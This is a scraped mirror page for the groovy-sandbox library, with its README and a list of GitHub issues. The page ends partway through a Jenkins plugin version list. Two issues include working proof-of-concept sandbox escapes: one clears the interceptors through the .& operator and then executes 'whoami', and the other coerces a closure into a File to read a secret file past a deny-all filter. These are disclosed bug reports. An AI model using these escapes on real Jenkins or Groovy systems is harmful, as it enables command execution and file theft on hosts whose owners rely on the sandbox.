Giter VIP home page Giter VIP logo

groovy-sandbox's Introduction

groovy-sandbox

WARNING This library is only maintained in the context of Jenkins, and should only be used as a dependency of Jenkins plugins such as Script Security Plugin and Pipeline: Groovy Plugin. It should be considered deprecated and unsafe for all other purposes.

This library provides a compile-time transformer to run Groovy code in an environment in which most operations, such as method calls, are intercepted before being executed. Consumers of the library can hook into the interception to allow or deny specific operations.

This library is not secure when used by itself. In particular, you must at least use an additional CompilationCustomizer along the lines of RejectASTTransformsCustomizer to reject AST transformations that can bypass the sandbox, and you need to take special care to ensure untrusted scripts are both parsed and executed inside of the sandbox.

groovy-sandbox's People

Contributors

abayer avatar basil avatar car-roll avatar dependabot[bot] avatar dwnusbaum avatar jglick avatar kevin-cb avatar kohsuke avatar nathansgreen avatar ndeloof avatar olivergondza avatar oliverlockwood avatar vietj avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

groovy-sandbox's Issues

onMethodCall can be passed a null receiver

The Javadoc for GroovyInterceptor.onMethodCall should note that receiver may be null, contrary to your expectations, and add a @CheckForNull annotation. This seems to happen when Checker.checkedComparison is called on a script line such as var == … when var is currently null (stretching the definition of “method call” a bit).

Is this package now supported in the spring environment

What feature do you want to see added?

This package supports scripting security in the spring environment

Upstream changes

No response

Are you interested in contributing this feature?

No response

Tasks

No tasks being tracked yet.

Array-valued argument incorrectly inlined

I have a class (actually a custom Script subclass used as a base class) which defines a method with two overloads, one of them taking Iterable, the other taking Object[]. (Irritating that Object[] does not implement Iterable in Java 5, but oh well.) Then I have a Groovy script which receives an array-valued variable in its Binding (the array component type is more specific than Object, in case it matters), and calls the method, which without the sandbox installed correctly resolves to the overload taking Object[].

When I run the script with the sandbox, onMethodCall is called with the right receiver and method, but args is the actual array (with, say, two elements). I would expect it to be a one-element array whose element at index 0 was an array.

This bug makes it tricky to write a GroovyInterceptor which correctly matches up calls with a whitelist of specific method signatures.

Sandbox Escape

The left side of .& will not be sandbox transformed, so {'not-sandboxed'}().&x will not transform the closure body. In the body you can than remove all the filters.
Here an example:

GroovyShell gs = new GroovyShell(new CompilerConfiguration().addCompilationCustomizers(new SandboxTransformer()));
GroovyValueFilter fa = new GroovyValueFilter() {
	@Override
	public Object filter(Object o) {
		throw new RuntimeException("Denied");
	}
};
fa.register();
try {
	System.out.println(gs.evaluate("{org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear();1}().&x;'whoami'.execute().text"));
}finally {
	fa.unregister();
}

Code editor for workflow code

Now that we're switching the workflow code to Groovy we could have a nice code editor (with syntax highlighting!) instead of a plain <textarea>. ACE worked well for the hiring test.

Keyword IN not supported

KEYWORD_IN is not supported, trying to execute this simple script

def status = "status 1";
def b = status in ["status 1", "status 2", "status 3", "status 4"];

throws exception

java.lang.IllegalArgumentException: 573
at org.kohsuke.groovy.sandbox.impl.Ops.binaryOperatorMethods(Ops.java:29) ~[Ops.class:?]

where 573 is the value of org.codehaus.groovy.syntax.Types.KEYWORD_IN

NullPointer

This causes a nullpointer. This is without any registered interceptors

shell.evaluate("println new java.util.HashMap().dummy;");

Implicit this handling in Closures

Method calls and property access using an implicit 'this' in Closures aren't handled correctly. They don't respect the delegation mechanics, but instead it always becomes an explicit 'this', resulting in wrong behaviour.

class: org/kohsuke/groovy/sandbox/SandboxTransformer, method: super$2$needSortedInput signature: ()Z) Illegal use of nonvirtual function call

when I new SandboxTransformer() error happend

class: org/kohsuke/groovy/sandbox/SandboxTransformer, method: super$2$needSortedInput signature: ()Z) Illegal use of nonvirtual function call

How can I solve this problem
my code like this

  1. CompilerConfiguration config = new CompilerConfiguration();
  2. config.addCompilationCustomizers(new CompilationCustomizer[]{new SandboxTransformer()});

Prefix/postfix increment operators broken within closures

When trying to use a script containing a prefix/postfix operator within a closure, such as this:

def myClosure = {
    def i=0
    ++i
}
myClosure()

I get the following error when invoking the closure while the sandbox is in use:

Caused by: groovy.lang.MissingMethodException: No signature of method: Script4.next() is applicable for argument types: () values: []

Disabling the sandbox works fine, as does using the same statement outside of a closure:

def i=0
++i

This is broken in 1.10 but it was previously working in 1.7. Bisecting the code shows that the problem was introduced in eec9c43 (#16). On a casual review, that commit effectively transforms expressions such as "++i" into "i.next()". Curiously, replacing the "++i" above with "i = i.next()" works just fine.

Arbitrary file read

The following script can read files, even with a DenyAll filter

import java.io.FileOutputStream;
import java.io.IOException;

import org.codehaus.groovy.control.CompilerConfiguration;
import org.kohsuke.groovy.sandbox.GroovyValueFilter;
import org.kohsuke.groovy.sandbox.SandboxTransformer;

import groovy.lang.GroovyShell;

public class Main {

	public static void main(String[] args) throws IOException {
		try(FileOutputStream fos=new FileOutputStream("secret.txt")){
			fos.write("Super Secret".getBytes());
		}
		
		
		GroovyShell gs = new GroovyShell(new CompilerConfiguration().addCompilationCustomizers(new SandboxTransformer()));
		GroovyValueFilter fa = new GroovyValueFilter() {
			@Override
			public Object filter(Object o) {
				throw new RuntimeException("Denied");
			}
		};
		fa.register();
		try {
			System.out.println(gs.evaluate("var i=0;{->if(i){return['secret.txt']as Object[]}else{i=1;return;}}as Collection as File as Object[]as Collection"));
		}finally {
			fa.unregister();
		}
	}
	
}

Expected output:
RuntimeException: Denied
Output:
[Super Secret]

Using groovy-3.0-alpha-4 & Java 1.8

Static method calls delivered to onMethodCall

A regular static method call (SomeClass.somemethod()) produces an event on GroovyInterceptor.onMethodCall rather than GroovyInterceptor.onStaticCall as you would expect and as the Javadoc would indicate.

This should be fixed, and the rather confused Javadoc of onStaticCall indicates that there is a leaky abstraction here. Checker.checkedCall should do the work to determine whether a method call is actually static or not, and if it is, then call onStaticCall reliably.

  • If the receiver is not of type Class, then it is definitely an instance call.
  • If the receiver is a Class but the method name does not correspond to an actual method in Class or Object, then it is definitely a static call.
  • Otherwise I am not sure yet how to distinguish an instance call such as Something.class.getName() from a static call such as Something.getName(). One trick might be checking whether we are inside StaticMetaMethodSite.callStatic.

Logical Operators

I am receiving a IllegalArgumentException when I have an logical operation.
For example:

if ((1==1) && (2==2)) {
  // do something
}

Cause this exception to be thrown

java.lang.IllegalArgumentException: 164
    at org.kohsuke.groovy.sandbox.impl.Ops.binaryOperatorMethods(Ops.java:29)
    at org.kohsuke.groovy.sandbox.impl.Checker.checkedBinaryOp(Checker.java:311)
    at org.kohsuke.groovy.sandbox.impl.Checker$checkedBinaryOp$2.callStatic(Unknown Source)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:53)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:157)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:173)

I am not sure if this is related to issue #9.

operator short-circuit semantic broken

Taking a groovy script like :

String s = null
if (s != null && s.length > 0) println 'oops'
println 'yeah'

Standard groovy (as Java does) ignore the second condition statement as first one is false. Ran inside Groovy sandbox, this results in a NPE.

Sandbox ignoring Owners and Delegates of nested Closures.

If I have nested Closures and I try to access something from the outside Closure I will run into a problem as it is only checking the functions from the inner Closure.

Here is an attempted fix for it:

https://github.com/BloodWorkXGaming/GroovySandboxedLauncher/blob/82761afcc3f69b5e17bd47784b76ccca01dc0495/src/main/java/org/kohsuke/groovy/sandbox/impl/ClosureSupport.java#L28-L65

The already existing code is smart enough to check it in the correct order, while the recursion adds the other objects to the back of the list the deeper we go in the hierarchy.

Stack overflow on long chained method calls

Consider the following test:

    {
        interceptedEval("'blah'.toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()" +
                ".toString().toString().toString().toString().toString().toString()"
        )
    }```

This will result in a stack overflow here https://github.com/jenkinsci/groovy-sandbox/blob/master/src/main/java/org/kohsuke/groovy/sandbox/SandboxTransformer.java#L396 since all the left hand side expression needs to be resolved before you can evaluate the last `toString()`.

The solution is to unroll the recursion, however this is easier said than done.

Compilation error when using @CompileStatic with closures as constructor parameters

groovy-sandbox 1.7 is causing a compilation error when I try to use it on a @CompileStatic'ed method which creates an object that accepts a closure as a constructor argument. I am testing against Groovy 2.3.4.

I mocked up a very simple example of what is going on here:

Making any of the following changes allows this to compile without errors:

  1. remove the @CompileStatic from staticRunner() in test3.groovy,
  2. call the no-args constructor rather than using the closure variant
  3. set sandboxTransformer.setInterceptMethodCall(false) when setting up the CC, or
  4. disable the sandbox entirely

In the cases where it does not work, the resulting exception is as follows:

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
General error during class generation: size==0

java.lang.ArrayIndexOutOfBoundsException: size==0
    at org.codehaus.groovy.classgen.asm.OperandStack.getTopOperand(OperandStack.java:670)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter$CheckcastReceiverExpression.visit(StaticInvocationWriter.java:562)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.writeDirectMethodCall(InvocationWriter.java:141)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter.writeDirectMethodCall(StaticInvocationWriter.java:263)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeDirectCall(InvocationWriter.java:252)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeCall(InvocationWriter.java:351)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeCall(InvocationWriter.java:98)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter.makeCall(StaticInvocationWriter.java:521)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeInvokeMethodCall(InvocationWriter.java:82)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.writeInvokeMethod(InvocationWriter.java:421)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter.writeInvokeMethod(StaticInvocationWriter.java:87)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitMethodCallExpression(AsmClassGenerator.java:749)
    at org.codehaus.groovy.ast.expr.MethodCallExpression.visit(MethodCallExpression.java:64)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter.loadArguments(StaticInvocationWriter.java:328)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.writeDirectMethodCall(InvocationWriter.java:152)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter.writeDirectMethodCall(StaticInvocationWriter.java:263)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeDirectCall(InvocationWriter.java:252)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeCall(InvocationWriter.java:351)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeCall(InvocationWriter.java:98)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter.makeCall(StaticInvocationWriter.java:521)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.makeInvokeMethodCall(InvocationWriter.java:82)
    at org.codehaus.groovy.classgen.asm.InvocationWriter.writeInvokeMethod(InvocationWriter.java:421)
    at org.codehaus.groovy.classgen.asm.sc.StaticInvocationWriter.writeInvokeMethod(StaticInvocationWriter.java:87)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitMethodCallExpression(AsmClassGenerator.java:749)
    at org.codehaus.groovy.ast.expr.MethodCallExpression.visit(MethodCallExpression.java:64)
    at org.codehaus.groovy.classgen.asm.StatementWriter.writeReturn(StatementWriter.java:582)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitReturnStatement(AsmClassGenerator.java:606)
    at org.codehaus.groovy.ast.stmt.ReturnStatement.visit(ReturnStatement.java:47)
    at org.codehaus.groovy.classgen.asm.StatementWriter.writeBlockStatement(StatementWriter.java:81)
    at org.codehaus.groovy.classgen.asm.sc.StaticTypesStatementWriter.writeBlockStatement(StaticTypesStatementWriter.java:49)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitBlockStatement(AsmClassGenerator.java:556)
    at org.codehaus.groovy.ast.stmt.BlockStatement.visit(BlockStatement.java:69)
    at org.codehaus.groovy.ast.ClassCodeVisitorSupport.visitClassCodeContainer(ClassCodeVisitorSupport.java:101)
    at org.codehaus.groovy.ast.ClassCodeVisitorSupport.visitConstructorOrMethod(ClassCodeVisitorSupport.java:112)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitStdMethod(AsmClassGenerator.java:420)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitConstructorOrMethod(AsmClassGenerator.java:377)
    at org.codehaus.groovy.ast.ClassCodeVisitorSupport.visitMethod(ClassCodeVisitorSupport.java:123)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitMethod(AsmClassGenerator.java:497)
    at org.codehaus.groovy.ast.ClassNode.visitContents(ClassNode.java:1063)
    at org.codehaus.groovy.ast.ClassCodeVisitorSupport.visitClass(ClassCodeVisitorSupport.java:50)
    at org.codehaus.groovy.classgen.AsmClassGenerator.visitClass(AsmClassGenerator.java:231)
    at org.codehaus.groovy.control.CompilationUnit$16.call(CompilationUnit.java:805)
    at org.codehaus.groovy.control.CompilationUnit$16.call(CompilationUnit.java:822)
    at org.codehaus.groovy.control.CompilationUnit.applyToPrimaryClassNodes(CompilationUnit.java:1047)
    at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:583)
    at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:561)
    at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:538)
    at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:286)
    at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:259)

State of groovy-2.4.4 branch?

Hi @kohsuke ,

can we ask you what's the status of groovy-2.4.x support right now? We can see there is a dedicated branch but unsure how stable it is and and if you consider it is ready for sandboxing groovy 2.4.

We currently using your awesome sandbox for groovy 1.8 but really would like to upgrade to latest one and may be if there are still open issues which you don't have time to work on we can help to implement?

Thank you.

Sandbox incorrectly caches list of interceptors / fix for PermGen leak

When running multiple invocations of the same script class (hooked up to the same sandbox), I noticed that the sandbox seems to drop out from time to time, even when I have asked for it to be enabled.

It appears that this relates to GroovyInterceptor.threadInterceptorsView ThreadLocal not being maintained consistently with respect to threadInterceptors. The value of threadInterceptorsView is populated the first time it is accessed by the thread, but it is never updated again, even if threadInterceptors itself change. This patch below ensures that the threadInterceptorsView is removed from the ThreadLocal whenever the interceptor is registered or deregistered, which forces the values to be consistent.

Additionally, this also calls threadInterceptors.remove() on unregister() to ensure that all of the ThreadLocals are completely removed from the thread. If you use multiple interceptors then this logic is not quite right (since it will wipe out all interceptors), but at least it prevents PermGen/ThreadLocal leaks when redeploying the app. Perhaps this is worthy of being placed in a separate "cleanup()" function so as not to break the API contract?

--- a/src/main/java/org/kohsuke/groovy/sandbox/GroovyInterceptor.java
+++ b/src/main/java/org/kohsuke/groovy/sandbox/GroovyInterceptor.java
@@ -176,6 +176,7 @@ public abstract class GroovyInterceptor {
      */
     public void register() {
         threadInterceptors.get().add(this);
+        threadInterceptorsView.remove(); // make sure that the view value is reset
     }

     /**
@@ -183,6 +184,8 @@ public abstract class GroovyInterceptor {
      */
     public void unregister() {
         threadInterceptors.get().remove(this);
+        threadInterceptors.remove();
+        threadInterceptorsView.remove();
     }

     private static final ThreadLocal<List<GroovyInterceptor>> threadInterceptors = new ThreadLocal<List<GroovyInterceptor>>() {

VariableExpression can be a property access

Given the following code:

{ ->
    delegate = new Exception("hello world");
    println message;
}()

The code shall print "hello world", but this is not getting intercepted.

See AsmClassGenerator.visitVariableExpression for how the bytecode generator handles these variable references. It involves lexically tracking variables in scope, then treating it as property access as can be seen in processClassVariable.

Static type checking error in sandbox-transformed code

Jenkins and plugins versions report

Environment
Jenkins: 2.414.3
OS: Linux - 5.14.21-150500.55.31-default
Java: 11.0.20.1 - Eclipse Adoptium (OpenJDK 64-Bit Server VM)
---
Office-365-Connector:4.20.0
PrioritySorter:5.0.0
SquishPlugin:8.6
active-directory:2.34
analysis-model-api:11.13.0
ant:497.v94e7d9fffa_b_9
antisamy-markup-formatter:162.v0e6ec0fcfcf6
apache-httpcomponents-client-4-api:4.5.14-208.v438351942757
apache-httpcomponents-client-5-api:5.2.1-1.1
artifactory:4.0.0
authentication-tokens:1.53.v1c90fd9191a_b_
authorize-project:1.7.1
azure-ad:433.v1982e2b_b_4a_fe
azure-sdk:157.v855da_0b_eb_dc2
blueocean:1.27.9
blueocean-autofavorite:1.2.5
blueocean-bitbucket-pipeline:1.27.9
blueocean-commons:1.27.9
blueocean-config:1.27.9
blueocean-core-js:1.27.9
blueocean-dashboard:1.27.9
blueocean-display-url:2.4.2
blueocean-events:1.27.9
blueocean-git-pipeline:1.27.9
blueocean-github-pipeline:1.27.9
blueocean-i18n:1.27.9
blueocean-jira:1.27.9
blueocean-jwt:1.27.9
blueocean-personalization:1.27.9
blueocean-pipeline-api-impl:1.27.9
blueocean-pipeline-editor:1.27.9
blueocean-pipeline-scm-api:1.27.9
blueocean-rest:1.27.9
blueocean-rest-impl:1.27.9
blueocean-web:1.27.9
bootstrap5-api:5.3.2-2
bouncycastle-api:2.29
branch-api:2.1128.v717130d4f816
caffeine-api:3.1.8-133.v17b_1ff2e0599
checks-api:2.0.2
cloud-stats:320.v96b_65297a_4b_b_
cloudbees-bitbucket-branch-source:848.v42c6a_317eda_e
cloudbees-folder:6.858.v898218f3609d
command-launcher:107.v773860566e2e
commons-httpclient3-api:3.1-3
commons-lang3-api:3.13.0-62.v7d18e55f51e2
commons-text-api:1.11.0-94.v3e1f4a_926e49
config-file-provider:959.vcff671a_4518b_
configuration-as-code:1737.v652ee9b_a_e0d9
copyartifact:722.v0662a_9b_e22a_c
cors-filter:1.1
credentials:1309.v8835d63eb_d8a_
credentials-binding:642.v737c34dea_6c2
csp:1.2
custom-tools-plugin:0.8
data-tables-api:1.13.6-5
disable-github-multibranch-status:1.2
display-url-api:2.200.vb_9327d658781
docker-commons:439.va_3cb_0a_6a_fb_29
docker-java-api:3.3.1-79.v20b_53427e041
docker-plugin:1.5
docker-workflow:572.v950f58993843
dtkit-api:3.0.2
durable-task:523.va_a_22cf15d5e0
echarts-api:5.4.0-7
email-ext:2.102
extended-choice-parameter:376.v2e02857547b_a_
external-workspace-manager:1.3.1
favorite:2.4.3
file-operations:177.vd1773063d935
font-awesome-api:6.4.2-1
forensics-api:2.3.0
generic-webhook-trigger:1.88.0
git:5.2.1
git-client:4.5.0
github:1.37.3.1
github-api:1.316-451.v15738eef3414
github-branch-source:1741.va_3028eb_9fd21
github-checks:554.vb_ee03a_000f65
gradle:2.9
handy-uri-templates-2-api:2.1.8-22.v77d5b_75e6953
html5-notifier-plugin:1.5
htmlpublisher:1.32
http_request:1.18
instance-identity:185.v303dc7c645f9
ionicons-api:56.v1b_1c8c49374e
jackson2-api:2.15.3-372.v309620682326
jacoco:3.3.5
jakarta-activation-api:2.0.1-3
jakarta-mail-api:2.0.1-3
javadoc:243.vb_b_503b_b_45537
javax-activation-api:1.2.0-6
javax-mail-api:1.6.2-9
jaxb:2.3.9-1
jdk-tool:73.vddf737284550
jenkins-design-language:1.27.9
jersey2-api:2.41-133.va_03323b_a_1396
jira:3.11
jira-steps:2.0.165.v8846cf59f3db
jjwt-api:0.11.5-77.v646c772fddb_0
job-dsl:1.87
job-restrictions:0.8
jquery3-api:3.7.1-1
jsch:0.2.8-65.v052c39de79b_2
junit:1240.vf9529b_881428
ldap:711.vb_d1a_491714dc
locale:314.v22ce953dfe9e
lockable-resources:1185.v0c528656ce04
mailer:463.vedf8358e006b_
mapdb-api:1.0.9-28.vf251ce40855d
matrix-auth:3.2.1
matrix-project:818.v7eb_e657db_924
maven-plugin:3.23
metrics:4.2.18-442.v02e107157925
mina-sshd-api-common:2.11.0-86.v836f585d47fa_
mina-sshd-api-core:2.11.0-86.v836f585d47fa_
monitoring:1.95.0
oic-auth:2.6
okhttp-api:4.11.0-157.v6852a_a_fa_ec11
pam-auth:1.10
parameterized-scheduler:255.v73827fcdf618
parameterized-trigger:2.46
pipeline-build-step:516.v8ee60a_81c5b_9
pipeline-graph-analysis:202.va_d268e64deb_3
pipeline-groovy-lib:689.veec561a_dee13
pipeline-input-step:477.v339683a_8d55e
pipeline-milestone-step:111.v449306f708b_7
pipeline-model-api:2.2150.v4cfd8916915c
pipeline-model-definition:2.2150.v4cfd8916915c
